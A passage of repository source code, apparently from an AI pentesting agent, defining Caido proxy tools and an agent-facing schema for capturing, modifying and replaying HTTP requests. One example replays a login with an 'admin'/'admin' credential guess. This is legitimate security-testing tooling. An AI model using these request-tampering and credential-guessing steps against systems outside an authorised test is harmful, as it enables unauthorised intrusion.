    "content": "from .proxy_actions import (\n    list_requests,\n    list_sitemap,\n    repeat_request,\n    scope_rules,\n    send_request,\n    view_request,\n    view_sitemap_entry,\n)\n\n\n__all__ = [\n    \"list_requests\",\n    \"list_sitemap\",\n    \"repeat_request\",\n    \"scope_rules\",\n    \"send_request\",\n    \"view_request\",\n    \"view_sitemap_entry\",\n]\n"
  },
  {
    "path": "strix/tools/proxy/proxy_actions.py",
    "content": "from typing import Any, Literal\n\nfrom strix.tools.registry import register_tool\n\n\nRequestPart = Literal[\"request\", \"response\"]\n\n\n@register_tool\ndef list_requests(\n    httpql_filter: str | None = None,\n    start_page: int = 1,\n    end_page: int = 1,\n    page_size: int = 50,\n    sort_by: Literal[\n        \"timestamp\",\n        \"host\",\n        \"method\",\n        \"path\",\n        \"status_code\",\n        \"response_time\",\n        \"response_size\",\n        \"source\",\n    ] = \"timestamp\",\n    sort_order: Literal[\"asc\", \"desc\"] = \"desc\",\n    scope_id: str | None = None,\n) -> dict[str, Any]:\n    from .proxy_manager import get_proxy_manager\n\n    manager = get_proxy_manager()\n    return manager.list_requests(\n        httpql_filter, start_page, end_page, page_size, sort_by, sort_order, scope_id\n    )\n\n\n@register_tool\ndef view_request(\n    request_id: str,\n    part: RequestPart = \"request\",\n    search_pattern: str | None = None,\n    page: int = 1,\n    page_size: int = 50,\n) -> dict[str, Any]:\n    from .proxy_manager import get_proxy_manager\n\n    manager = get_proxy_manager()\n    return manager.view_request(request_id, part, search_pattern, page, page_size)\n\n\n@register_tool\ndef send_request(\n    method: str,\n    url: str,\n    headers: dict[str, str] | None = None,\n    body: str = \"\",\n    timeout: int = 30,\n) -> dict[str, Any]:\n    from .proxy_manager import get_proxy_manager\n\n    if headers is None:\n        headers = {}\n    manager = get_proxy_manager()\n    return manager.send_simple_request(method, url, headers, body, timeout)\n\n\n@register_tool\ndef repeat_request(\n    request_id: str,\n    modifications: dict[str, Any] | None = None,\n) -> dict[str, Any]:\n    from .proxy_manager import get_proxy_manager\n\n    if modifications is None:\n        modifications = {}\n    manager = get_proxy_manager()\n    return manager.repeat_request(request_id, modifications)\n\n\n@register_tool\ndef scope_rules(\n    action: Literal[\"get\", \"list\", \"create\", \"update\", \"delete\"],\n    allowlist: list[str] | None = None,\n    denylist: list[str] | None = None,\n    scope_id: str | None = None,\n    scope_name: str | None = None,\n) -> dict[str, Any]:\n    from .proxy_manager import get_proxy_manager\n\n    manager = get_proxy_manager()\n    return manager.scope_rules(action, allowlist, denylist, scope_id, scope_name)\n\n\n@register_tool\ndef list_sitemap(\n    scope_id: str | None = None,\n    parent_id: str | None = None,\n    depth: Literal[\"DIRECT\", \"ALL\"] = \"DIRECT\",\n    page: int = 1,\n) -> dict[str, Any]:\n    from .proxy_manager import get_proxy_manager\n\n    manager = get_proxy_manager()\n    return manager.list_sitemap(scope_id, parent_id, depth, page)\n\n\n@register_tool\ndef view_sitemap_entry(\n    entry_id: str,\n) -> dict[str, Any]:\n    from .proxy_manager import get_proxy_manager\n\n    manager = get_proxy_manager()\n    return manager.view_sitemap_entry(entry_id)\n"
  },
  {
    "path": "strix/tools/proxy/proxy_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"list_requests\">\n    <description>List and filter proxy requests using HTTPQL with pagination.</description>\n    <parameters>\n      <parameter name=\"httpql_filter\" type=\"string\" required=\"false\">\n        <description>HTTPQL filter using Caido's syntax:\n\n        Integer fields (port, code, roundtrip, id) - eq, gt, gte, lt, lte, ne:\n        - resp.code.eq:200, resp.code.gte:400, req.port.eq:443\n\n        Text/byte fields (ext, host, method, path, query, raw) - regex:\n        - req.method.regex:\"POST\", req.path.regex:\"/api/.*\", req.host.regex:\".*.com\"\n\n        Date fields (created_at) - gt, lt with ISO formats:\n        - req.created_at.gt:\"2024-01-01T00:00:00Z\"\n\n        Special: source:intercept, preset:\"name\"</description>\n      </parameter>\n      <parameter name=\"start_page\" type=\"integer\" required=\"false\">\n        <description>Starting page (1-based)</description>\n      </parameter>\n      <parameter name=\"end_page\" type=\"integer\" required=\"false\">\n        <description>Ending page (1-based, inclusive)</description>\n      </parameter>\n      <parameter name=\"page_size\" type=\"integer\" required=\"false\">\n        <description>Requests per page</description>\n      </parameter>\n      <parameter name=\"sort_by\" type=\"string\" required=\"false\">\n        <description>Sort field from: \"timestamp\", \"host\", \"status_code\", \"response_time\", \"response_size\"</description>\n      </parameter>\n      <parameter name=\"sort_order\" type=\"string\" required=\"false\">\n        <description>Sort direction (\"asc\" or \"desc\")</description>\n      </parameter>\n      <parameter name=\"scope_id\" type=\"string\" required=\"false\">\n        <description>Scope ID to filter requests (use scope_rules to manage scopes)</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing:\n        - 'requests': Request objects for page range\n        - 'total_count': Total matching requests\n        - 'start_page', 'end_page', 'page_size': Query parameters\n        - 'returned_count': Requests in response</description>\n    </returns>\n    <examples>\n  # POST requests to API with 200 responses\n  <function=list_requests>\n  <parameter=httpql_filter>req.method.eq:\"POST\" AND req.path.cont:\"/api/\"</parameter>\n  <parameter=sort_by>response_time</parameter>\n  <parameter=scope_id>scope123</parameter>\n  </function>\n\n  # Requests within specific scope\n  <function=list_requests>\n  <parameter=scope_id>scope123</parameter>\n  <parameter=sort_by>timestamp</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"view_request\">\n    <description>View request/response data with search and pagination.</description>\n    <parameters>\n      <parameter name=\"request_id\" type=\"string\" required=\"true\">\n        <description>Request ID</description>\n      </parameter>\n      <parameter name=\"part\" type=\"string\" required=\"false\">\n        <description>Which part to return (\"request\" or \"response\")</description>\n      </parameter>\n      <parameter name=\"search_pattern\" type=\"string\" required=\"false\">\n        <description>Regex pattern to search content. Common patterns:\n        - API endpoints: r\"/api/[a-zA-Z0-9._/-]+\"\n        - URLs: r\"https?://[^\\\\s<>\"\\']+\"\n        - Parameters: r'[?&][a-zA-Z0-9_]+=([^&\\\\s<>\"\\']+)'\n        - Reflections: input_value in content</description>\n      </parameter>\n      <parameter name=\"page\" type=\"integer\" required=\"false\">\n        <description>Page number for pagination</description>\n      </parameter>\n      <parameter name=\"page_size\" type=\"integer\" required=\"false\">\n        <description>Lines per page</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>With search_pattern (COMPACT):\n        - 'matches': [{match, before, after, position}] - max 20\n        - 'total_matches': Total found\n        - 'truncated': If limited to 20\n\n        Without search_pattern (PAGINATION):\n        - 'content': Page content\n        - 'page': Current page\n        - 'showing_lines': Range display\n        - 'has_more': More pages available</description>\n    </returns>\n    <examples>\n  # Find API endpoints in response\n  <function=view_request>\n  <parameter=request_id>123</parameter>\n  <parameter=part>response</parameter>\n  <parameter=search_pattern>/api/[a-zA-Z0-9._/-]+</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"send_request\">\n    <description>Send a simple HTTP request through proxy.</description>\n    <parameters>\n      <parameter name=\"method\" type=\"string\" required=\"true\">\n        <description>HTTP method (GET, POST, etc.)</description>\n      </parameter>\n      <parameter name=\"url\" type=\"string\" required=\"true\">\n        <description>Target URL</description>\n      </parameter>\n      <parameter name=\"headers\" type=\"dict\" required=\"false\">\n        <description>Headers as {\"key\": \"value\"}</description>\n      </parameter>\n      <parameter name=\"body\" type=\"string\" required=\"false\">\n        <description>Request body</description>\n      </parameter>\n      <parameter name=\"timeout\" type=\"integer\" required=\"false\">\n        <description>Request timeout</description>\n      </parameter>\n    </parameters>\n  </tool>\n\n  <tool name=\"repeat_request\">\n    <description>Repeat an existing proxy request with modifications for pentesting.\n\n    PROPER WORKFLOW:\n    1. Use browser_action to browse the target application\n    2. Use list_requests() to see captured proxy traffic\n    3. Use repeat_request() to modify and test specific requests\n\n    This mirrors real pentesting: browse → capture → modify → test</description>\n    <parameters>\n      <parameter name=\"request_id\" type=\"string\" required=\"true\">\n        <description>ID of the original request to repeat (from list_requests)</description>\n      </parameter>\n      <parameter name=\"modifications\" type=\"dict\" required=\"false\">\n        <description>Changes to apply to the original request:\n        - \"url\": New URL or modify existing one\n        - \"params\": Dict to update query parameters\n        - \"headers\": Dict to add/update headers\n        - \"body\": New request body (replaces original)\n        - \"cookies\": Dict to add/update cookies</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response data with status, headers, body, timing, and request details</description>\n    </returns>\n    <examples>\n  # Modify POST body payload\n  <function=repeat_request>\n  <parameter=request_id>req_789</parameter>\n  <parameter=modifications>{\"body\": \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"admin\\\"}\"}</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"scope_rules\">\n    <description>Manage proxy scope patterns for domain/file filtering using Caido's scope system.</description>\n    <parameters>\n      <parameter name=\"action\" type=\"string\" required=\"true\">\n        <description>Scope action:\n        - get: Get specific scope by ID or list all if no ID\n        - update: Update existing scope (requires scope_id and scope_name)\n        - list: List all available scopes\n        - create: Create new scope (requires scope_name)\n        - delete: Delete scope (requires scope_id)</description>\n      </parameter>\n      <parameter name=\"allowlist\" type=\"list\" required=\"false\">\n        <description>Domain patterns to include. Examples: [\"*.example.com\", \"api.test.com\"]</description>\n      </parameter>\n      <parameter name=\"denylist\" type=\"list\" required=\"false\">\n        <description>Patterns to exclude. Some common extensions:\n        [\"*.gif\", \"*.jpg\", \"*.png\", \"*.css\", \"*.js\", \"*.ico\", \"*.svg\", \"*woff*\", \"*.ttf\"]</description>\n      </parameter>\n      <parameter name=\"scope_id\" type=\"string\" required=\"false\">\n        <description>Specific scope ID to operate on (required for get, update, delete)</description>\n      </parameter>\n      <parameter name=\"scope_name\" type=\"string\" required=\"false\">\n        <description>Name for scope (required for create, update)</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Depending on action:\n        - get: Single scope object or error\n        - list: {\"scopes\": [...], \"count\": N}\n        - create/update: {\"scope\": {...}, \"message\": \"...\"}\n        - delete: {\"message\": \"...\", \"deletedId\": \"...\"}</description>\n    </returns>\n    <notes>\n  - Empty allowlist = allow all domains\n  - Denylist overrides allowlist\n  - Glob patterns: * (any), ? (single), [abc] (one of), [a-z] (range), [^abc] (none of)\n  - Each scope has unique ID and can be used with list_requests(scopeId=...)\n    </notes>\n    <examples>\n  # Create API-only scope\n  <function=scope_rules>\n  <parameter=action>create</parameter>\n  <parameter=scope_name>API Testing</parameter>\n  <parameter=allowlist>[\"api.example.com\", \"*.api.com\"]</parameter>\n  <parameter=denylist>[\"*.gif\", \"*.jpg\", \"*.png\", \"*.css\", \"*.js\"]</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"list_sitemap\">\n    <description>View hierarchical sitemap of discovered attack surface from proxied traffic.\n\n    Perfect for bug hunters to understand the application structure and identify\n    interesting endpoints, directories, and entry points discovered during testing.</description>\n    <parameters>\n      <parameter name=\"scope_id\" type=\"string\" required=\"false\">\n        <description>Scope ID to filter sitemap entries (use scope_rules to get/create scope IDs)</description>\n      </parameter>\n      <parameter name=\"parent_id\" type=\"string\" required=\"false\">\n        <description>ID of parent entry to expand. If None, returns root domains.</description>\n      </parameter>\n      <parameter name=\"depth\" type=\"string\" required=\"false\">\n        <description>DIRECT: Only immediate children. ALL: All descendants recursively.</description>\n      </parameter>\n      <parameter name=\"page\" type=\"integer\" required=\"false\">\n        <description>Page number for pagination (30 entries per page)</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing:\n        - 'entries': List of cleaned sitemap entries\n        - 'page', 'total_pages', 'total_count': Pagination info\n        - 'has_more': Whether more pages available\n        - Each entry: id, kind, label, hasDescendants, request (method/path/status only)</description>\n    </returns>\n    <notes>\n  Entry kinds:\n  - DOMAIN: Root domains (example.com)\n  - DIRECTORY: Path directories (/api/, /admin/)\n  - REQUEST: Individual endpoints\n  - REQUEST_BODY: POST/PUT body variations\n  - REQUEST_QUERY: GET parameter variations\n\n  Check hasDescendants=true to identify entries worth expanding.\n  Use parent_id from any entry to drill down into subdirectories.\n    </notes>\n  </tool>\n\n  <tool name=\"view_sitemap_entry\">\n    <description>Get detailed information about a specific sitemap entry and related requests.\n\n    Perfect for understanding what's been discovered under a specific directory\n    or endpoint, including all related requests and response codes.</description>\n    <parameters>\n      <parameter name=\"entry_id\" type=\"string\" required=\"true\">\n        <description>ID of the sitemap entry to examine</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing:\n        - 'entry': Complete entry details including metadata\n        - Entry contains 'requests' with all related HTTP requests\n        - Shows request methods, paths, response codes, timing</description>\n    </returns>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/proxy/proxy_manager.py",
    "content": "import base64\nimport os\nimport re\nimport time\nfrom typing import TYPE_CHECKING, Any\nfrom urllib.parse import parse_qs, urlencode, urlparse, urlunparse\n\nimport requests\nfrom gql import Client, gql\nfrom gql.transport.exceptions import TransportQueryError\nfrom gql.transport.requests import RequestsHTTPTransport\nfrom requests.exceptions import ProxyError, RequestException, Timeout\n\n\nif TYPE_CHECKING:\n    from collections.abc import Callable\n\n\nCAIDO_PORT = 48080  # Fixed port inside container\n\n\nclass ProxyManager:\n    def __init__(self, auth_token: str | None = None):\n        host = \"127.0.0.1\"\n        self.base_url = f\"http://{host}:{CAIDO_PORT}/graphql\"\n        self.proxies = {\n            \"http\": f\"http://{host}:{CAIDO_PORT}\",\n            \"https\": f\"http://{host}:{CAIDO_PORT}\",\n        }\n        self.auth_token = auth_token or os.getenv(\"CAIDO_API_TOKEN\")\n\n    def _get_client(self) -> Client:\n        transport = RequestsHTTPTransport(\n            url=self.base_url, headers={\"Authorization\": f\"Bearer {self.auth_token}\"}\n        )\n        return Client(transport=transport, fetch_schema_from_transport=False)\n\n    def list_requests(\n        self,\n        httpql_filter: str | None = None,\n        start_page: int = 1,\n        end_page: int = 1,\n        page_size: int = 50,\n        sort_by: str = \"timestamp\",\n        sort_order: str = \"desc\",\n        scope_id: str | None = None,\n    ) -> dict[str, Any]:\n        offset = (start_page - 1) * page_size\n        limit = (end_page - start_page + 1) * page_size\n\n        sort_mapping = {\n            \"timestamp\": \"CREATED_AT\",\n            \"host\": \"HOST\",\n            \"method\": \"METHOD\",\n            \"path\": \"PATH\",\n            \"status_code\": \"RESP_STATUS_CODE\",\n            \"response_time\": \"RESP_ROUNDTRIP_TIME\",\n            \"response_size\": \"RESP_LENGTH\",\n            \"source\": \"SOURCE\",\n        }\n\n        query = gql(\"\"\"\n            query GetRequests(\n                $limit: Int, $offset: Int, $filter: HTTPQL,\n                $order: RequestResponseOrderInput, $scopeId: ID\n            ) {\n                requestsByOffset(\n                    limit: $limit, offset: $offset, filter: $filter,\n                    order: $order, scopeId: $scopeId\n                ) {\n                    edges {\n                        node {\n                            id method host path query createdAt length isTls port\n                            source alteration fileExtension\n                            response { id statusCode length roundtripTime createdAt }\n                        }\n                    }\n                    count { value }\n                }\n            }\n        \"\"\")\n\n        variables = {\n            \"limit\": limit,\n            \"offset\": offset,\n            \"filter\": httpql_filter,\n            \"order\": {\n                \"by\": sort_mapping.get(sort_by, \"CREATED_AT\"),\n                \"ordering\": sort_order.upper(),\n            },\n            \"scopeId\": scope_id,\n        }\n\n        try:\n            result = self._get_client().execute(query, variable_values=variables)\n            data = result.get(\"requestsByOffset\", {})\n            nodes = [edge[\"node\"] for edge in data.get(\"edges\", [])]\n\n            count_data = data.get(\"count\") or {}\n            return {\n                \"requests\": nodes,\n                \"total_count\": count_data.get(\"value\", 0),\n                \"start_page\": start_page,\n                \"end_page\": end_page,\n                \"page_size\": page_size,\n                \"offset\": offset,\n                \"returned_count\": len(nodes),\n                \"sort_by\": sort_by,\n                \"sort_order\": sort_order,\n            }\n        except (TransportQueryError, ValueError, KeyError) as e:\n            return {\"requests\": [], \"total_count\": 0, \"error\": f\"Error fetching requests: {e}\"}\n\n    def view_request(\n        self,\n        request_id: str,\n        part: str = \"request\",\n        search_pattern: str | None = None,\n        page: int = 1,\n        page_size: int = 50,\n    ) -> dict[str, Any]:\n        queries = {\n            \"request\": \"\"\"query GetRequest($id: ID!) {\n                request(id: $id) {\n                    id method host path query createdAt length isTls port\n                    source alteration edited raw\n                }\n            }\"\"\",\n            \"response\": \"\"\"query GetRequest($id: ID!) {\n                request(id: $id) {\n                    id response {\n                        id statusCode length roundtripTime createdAt raw\n                    }\n                }\n            }\"\"\",\n        }\n\n        if part not in queries:\n            return {\"error\": f\"Invalid part '{part}'. Use 'request' or 'response'\"}\n\n        try:\n            result = self._get_client().execute(\n                gql(queries[part]), variable_values={\"id\": request_id}\n            )\n            request_data = result.get(\"request\", {})\n\n            if not request_data:\n                return {\"error\": f\"Request {request_id} not found\"}\n\n            if part == \"request\":\n                raw_content = request_data.get(\"raw\")\n            else:\n                response_data = request_data.get(\"response\") or {}\n                raw_content = response_data.get(\"raw\")\n\n            if not raw_content:\n                return {\"error\": \"No content available\"}\n\n            content = base64.b64decode(raw_content).decode(\"utf-8\", errors=\"replace\")\n\n            if part == \"response\":\n                request_data[\"response\"][\"raw\"] = content\n            else:\n                request_data[\"raw\"] = content\n\n            return (\n                self._search_content(request_data, content, search_pattern)\n                if search_pattern\n                else self._paginate_content(request_data, content, page, page_size)\n            )\n\n        except (TransportQueryError, ValueError, KeyError, UnicodeDecodeError) as e:\n            return {\"error\": f\"Failed to view request: {e}\"}\n\n    def _search_content(\n        self, request_data: dict[str, Any], content: str, pattern: str\n    ) -> dict[str, Any]:\n        try:\n            regex = re.compile(pattern, re.IGNORECASE | re.MULTILINE | re.DOTALL)\n            matches = []\n\n            for match in regex.finditer(content):\n                start, end = match.start(), match.end()\n                context_size = 120\n\n                before = re.sub(r\"\\s+\", \" \", content[max(0, start - context_size) : start].strip())[\n                    -100:\n                ]\n                after = re.sub(r\"\\s+\", \" \", content[end : end + context_size].strip())[:100]\n\n                matches.append(\n                    {\"match\": match.group(), \"before\": before, \"after\": after, \"position\": start}\n                )\n\n                if len(matches) >= 20:\n                    break\n\n            return {\n                \"id\": request_data.get(\"id\"),\n                \"matches\": matches,\n                \"total_matches\": len(matches),\n                \"search_pattern\": pattern,\n                \"truncated\": len(matches) >= 20,\n            }\n        except re.error as e:\n            return {\"error\": f\"Invalid regex: {e}\"}\n\n    def _paginate_content(\n        self, request_data: dict[str, Any], content: str, page: int, page_size: int\n    ) -> dict[str, Any]:\n        display_lines = []\n        for line in content.split(\"\\n\"):\n            if len(line) <= 80:\n                display_lines.append(line)\n            else:\n                display_lines.extend(\n                    [\n                        line[i : i + 80] + (\" \\\\\" if i + 80 < len(line) else \"\")\n                        for i in range(0, len(line), 80)\n                    ]\n                )\n\n        total_lines = len(display_lines)\n        total_pages = (total_lines + page_size - 1) // page_size\n        page = max(1, min(page, total_pages))\n\n        start_line = (page - 1) * page_size\n        end_line = min(total_lines, start_line + page_size)\n\n        return {\n            \"id\": request_data.get(\"id\"),\n            \"content\": \"\\n\".join(display_lines[start_line:end_line]),\n            \"page\": page,\n            \"total_pages\": total_pages,\n            \"showing_lines\": f\"{start_line + 1}-{end_line} of {total_lines}\",\n            \"has_more\": page < total_pages,\n        }\n\n    def send_simple_request(\n        self,\n        method: str,\n        url: str,\n        headers: dict[str, str] | None = None,\n        body: str = \"\",\n        timeout: int = 30,\n    ) -> dict[str, Any]:\n        if headers is None:\n            headers = {}\n        try:\n            start_time = time.time()\n            response = requests.request(\n                method=method,\n                url=url,\n                headers=headers,\n                data=body or None,\n                proxies=self.proxies,\n                timeout=timeout,\n                verify=False,\n            )\n            response_time = int((time.time() - start_time) * 1000)\n\n            body_content = response.text\n            if len(body_content) > 10000:\n                body_content = body_content[:10000] + \"\\n... [truncated]\"\n\n            return {\n                \"status_code\": response.status_code,\n                \"headers\": dict(response.headers),\n                \"body\": body_content,\n                \"response_time_ms\": response_time,\n                \"url\": response.url,\n                \"message\": (\n                    \"Request sent through proxy - check list_requests() for captured traffic\"\n                ),\n            }\n        except (RequestException, ProxyError, Timeout) as e:\n            return {\"error\": f\"Request failed: {type(e).__name__}\", \"details\": str(e), \"url\": url}\n\n    def repeat_request(\n        self, request_id: str, modifications: dict[str, Any] | None = None\n    ) -> dict[str, Any]:\n        if modifications is None:\n            modifications = {}\n\n        original = self.view_request(request_id, \"request\")\n        if \"error\" in original:\n            return {\"error\": f\"Could not retrieve original request: {original['error']}\"}\n\n        raw_content = original.get(\"content\", \"\")\n        if not raw_content:\n            return {\"error\": \"No raw request content found\"}\n\n        request_components = self._parse_http_request(raw_content)\n        if \"error\" in request_components:\n            return request_components\n\n        full_url = self._build_full_url(request_components, modifications)\n        if \"error\" in full_url:\n            return full_url\n\n        modified_request = self._apply_modifications(\n            request_components, modifications, full_url[\"url\"]\n        )\n\n        return self._send_modified_request(modified_request, request_id, modifications)\n\n    def _parse_http_request(self, raw_content: str) -> dict[str, Any]:\n        lines = raw_content.split(\"\\n\")\n        request_line = lines[0].strip().split(\" \")\n        if len(request_line) < 2:\n            return {\"error\": \"Invalid request line format\"}\n\n        method, url_path = request_line[0], request_line[1]\n\n        headers = {}\n        body_start = 0\n        for i, line in enumerate(lines[1:], 1):\n            if line.strip() == \"\":\n                body_start = i + 1\n                break\n            if \":\" in line:\n                key, value = line.split(\":\", 1)\n                headers[key.strip()] = value.strip()\n\n        body = \"\\n\".join(lines[body_start:]).strip() if body_start < len(lines) else \"\"\n\n        return {\"method\": method, \"url_path\": url_path, \"headers\": headers, \"body\": body}\n\n    def _build_full_url(\n        self, components: dict[str, Any], modifications: dict[str, Any]\n    ) -> dict[str, Any]:\n        headers = components[\"headers\"]\n        host = headers.get(\"Host\", \"\")\n        if not host:\n            return {\"error\": \"No Host header found\"}\n\n        protocol = (\n            \"https\" if \":443\" in host or \"https\" in headers.get(\"Referer\", \"\").lower() else \"http\"\n        )\n        full_url = f\"{protocol}://{host}{components['url_path']}\"\n\n        if \"url\" in modifications:\n            full_url = modifications[\"url\"]\n\n        return {\"url\": full_url}\n\n    def _apply_modifications(\n        self, components: dict[str, Any], modifications: dict[str, Any], full_url: str\n    ) -> dict[str, Any]:\n        headers = components[\"headers\"].copy()\n        body = components[\"body\"]\n        final_url = full_url\n\n        if \"params\" in modifications:\n            parsed = urlparse(final_url)\n            params = {k: v[0] if v else \"\" for k, v in parse_qs(parsed.query).items()}\n            params.update(modifications[\"params\"])\n            final_url = urlunparse(parsed._replace(query=urlencode(params)))\n\n        if \"headers\" in modifications:\n            headers.update(modifications[\"headers\"])\n\n        if \"body\" in modifications:\n            body = modifications[\"body\"]\n\n        if \"cookies\" in modifications:\n            cookies = {}\n            if headers.get(\"Cookie\"):\n                for cookie in headers[\"Cookie\"].split(\";\"):\n                    if \"=\" in cookie:\n                        k, v = cookie.split(\"=\", 1)\n                        cookies[k.strip()] = v.strip()\n            cookies.update(modifications[\"cookies\"])\n            headers[\"Cookie\"] = \"; \".join([f\"{k}={v}\" for k, v in cookies.items()])\n\n        return {\n            \"method\": components[\"method\"],\n            \"url\": final_url,\n            \"headers\": headers,\n            \"body\": body,\n        }\n\n    def _send_modified_request(\n        self, request_data: dict[str, Any], request_id: str, modifications: dict[str, Any]\n    ) -> dict[str, Any]:\n        try:\n            start_time = time.time()\n            response = requests.request(\n                method=request_data[\"method\"],\n                url=request_data[\"url\"],\n                headers=request_data[\"headers\"],\n                data=request_data[\"body\"] or None,\n                proxies=self.proxies,\n                timeout=30,\n                verify=False,\n            )\n            response_time = int((time.time() - start_time) * 1000)\n\n            response_body = response.text\n            truncated = len(response_body) > 10000\n            if truncated:\n                response_body = response_body[:10000] + \"\\n... [truncated]\"\n\n            return {\n                \"status_code\": response.status_code,\n                \"status_text\": response.reason,\n                \"headers\": {\n                    k: v\n                    for k, v in response.headers.items()\n                    if k.lower()\n                    in [\"content-type\", \"content-length\", \"server\", \"set-cookie\", \"location\"]\n                },\n                \"body\": response_body,\n                \"body_truncated\": truncated,\n                \"body_size\": len(response.content),\n                \"response_time_ms\": response_time,\n                \"url\": response.url,\n                \"original_request_id\": request_id,\n                \"modifications_applied\": modifications,\n                \"request\": {\n                    \"method\": request_data[\"method\"],\n                    \"url\": request_data[\"url\"],\n                    \"headers\": request_data[\"headers\"],\n                    \"has_body\": bool(request_data[\"body\"]),\n                },\n            }\n\n        except ProxyError as e:\n            return {\n                \"error\": \"Proxy connection failed - is Caido running?\",\n                \"details\": str(e),\n                \"original_request_id\": request_id,\n            }\n        except (RequestException, Timeout) as e:\n            return {\n                \"error\": f\"Failed to repeat request: {type(e).__name__}\",\n                \"details\": str(e),\n                \"original_request_id\": request_id,\n            }\n\n    def _handle_scope_list(self) -> dict[str, Any]:\n        result = self._get_client().execute(\n            gql(\"query { scopes { id name allowlist denylist indexed } }\")\n        )\n        scopes = result.get(\"scopes\", [])\n        return {\"scopes\": scopes, \"count\": len(scopes)}\n\n    def _handle_scope_get(self, scope_id: str | None) -> dict[str, Any]:\n        if not scope_id:\n            return self._handle_scope_list()\n\n        result = self._get_client().execute(\n            gql(\n                \"query GetScope($id: ID!) { scope(id: $id) { id name allowlist denylist indexed } }\"\n            ),\n            variable_values={\"id\": scope_id},\n        )\n        scope = result.get(\"scope\")\n        if not scope:\n            return {\"error\": f\"Scope {scope_id} not found\"}\n        return {\"scope\": scope}\n\n    def _handle_scope_create(\n        self, scope_name: str, allowlist: list[str] | None, denylist: list[str] | None\n    ) -> dict[str, Any]:\n        if not scope_name:\n            return {\"error\": \"scope_name required for create\"}\n\n        mutation = gql(\"\"\"\n            mutation CreateScope($input: CreateScopeInput!) {\n                createScope(input: $input) {\n                    scope { id name allowlist denylist indexed }\n                    error {\n                        ... on InvalidGlobTermsUserError { code terms }\n                        ... on OtherUserError { code }\n                    }\n                }\n            }\n        \"\"\")\n\n        result = self._get_client().execute(\n            mutation,\n            variable_values={\n                \"input\": {\n                    \"name\": scope_name,\n                    \"allowlist\": allowlist or [],\n                    \"denylist\": denylist or [],\n                }\n            },\n        )\n\n        payload = result.get(\"createScope\", {})\n        if payload.get(\"error\"):\n            error = payload[\"error\"]\n            return {\"error\": f\"Invalid glob patterns: {error.get('terms', error.get('code'))}\"}\n\n        return {\"scope\": payload.get(\"scope\"), \"message\": \"Scope created successfully\"}\n\n    def _handle_scope_update(\n        self,\n        scope_id: str,\n        scope_name: str,\n        allowlist: list[str] | None,\n        denylist: list[str] | None,\n    ) -> dict[str, Any]:\n        if not scope_id or not scope_name:\n            return {\"error\": \"scope_id and scope_name required\"}\n\n        mutation = gql(\"\"\"\n            mutation UpdateScope($id: ID!, $input: UpdateScopeInput!) {\n                updateScope(id: $id, input: $input) {\n                    scope { id name allowlist denylist indexed }\n                    error {\n                        ... on InvalidGlobTermsUserError { code terms }\n                        ... on OtherUserError { code }\n                    }\n                }\n            }\n        \"\"\")\n\n        result = self._get_client().execute(\n            mutation,\n            variable_values={\n                \"id\": scope_id,\n                \"input\": {\n                    \"name\": scope_name,\n                    \"allowlist\": allowlist or [],\n                    \"denylist\": denylist or [],\n                },\n            },\n        )\n\n        payload = result.get(\"updateScope\", {})\n        if payload.get(\"error\"):\n            error = payload[\"error\"]\n            return {\"error\": f\"Invalid glob patterns: {error.get('terms', error.get('code'))}\"}\n\n        return {\"scope\": payload.get(\"scope\"), \"message\": \"Scope updated successfully\"}\n\n    def _handle_scope_delete(self, scope_id: str) -> dict[str, Any]:\n        if not scope_id:\n            return {\"error\": \"scope_id required for delete\"}\n\n        result = self._get_client().execute(\n            gql(\"mutation DeleteScope($id: ID!) { deleteScope(id: $id) { deletedId } }\"),\n            variable_values={\"id\": scope_id},\n        )\n\n        payload = result.get(\"deleteScope\", {})\n        if not payload.get(\"deletedId\"):\n            return {\"error\": f\"Failed to delete scope {scope_id}\"}\n        return {\"message\": f\"Scope {scope_id} deleted\", \"deletedId\": payload[\"deletedId\"]}\n\n    def scope_rules(\n        self,\n        action: str,\n        allowlist: list[str] | None = None,\n        denylist: list[str] | None = None,\n        scope_id: str | None = None,\n        scope_name: str | None = None,\n    ) -> dict[str, Any]:\n        handlers: dict[str, Callable[[], dict[str, Any]]] = {\n            \"list\": self._handle_scope_list,\n            \"get\": lambda: self._handle_scope_get(scope_id),\n            \"create\": lambda: (\n                {\"error\": \"scope_name required for create\"}\n                if not scope_name\n                else self._handle_scope_create(scope_name, allowlist, denylist)\n            ),\n            \"update\": lambda: (\n                {\"error\": \"scope_id and scope_name required\"}\n                if not scope_id or not scope_name\n                else self._handle_scope_update(scope_id, scope_name, allowlist, denylist)\n            ),\n            \"delete\": lambda: (\n                {\"error\": \"scope_id required for delete\"}\n                if not scope_id\n                else self._handle_scope_delete(scope_id)\n            ),\n        }\n\n        handler = handlers.get(action)\n        if not handler:\n            return {\n                \"error\": f\"Unsupported action: {action}. Use 'get', 'list', 'create', \"\n                f\"'update', or 'delete'\"\n            }\n\n        try:\n            result = handler()\n        except (TransportQueryError, ValueError, KeyError) as e:\n            return {\"error\": f\"Scope operation failed: {e}\"}\n        else:\n            return result\n\n    def list_sitemap(\n        self,\n        scope_id: str | None = None,\n        parent_id: str | None = None,\n        depth: str = \"DIRECT\",\n        page: int = 1,\n        page_size: int = 30,\n    ) -> dict[str, Any]:\n        try:\n            skip_count = (page - 1) * page_size\n\n            if parent_id:\n                query = gql(\"\"\"\n                    query GetSitemapDescendants($parentId: ID!, $depth: SitemapDescendantsDepth!) {\n                        sitemapDescendantEntries(parentId: $parentId, depth: $depth) {\n                            edges {\n                                node {\n                                    id kind label hasDescendants\n                                    request { method path response { statusCode } }\n                                }\n                            }\n                            count { value }\n                        }\n                    }\n                \"\"\")\n                result = self._get_client().execute(\n                    query, variable_values={\"parentId\": 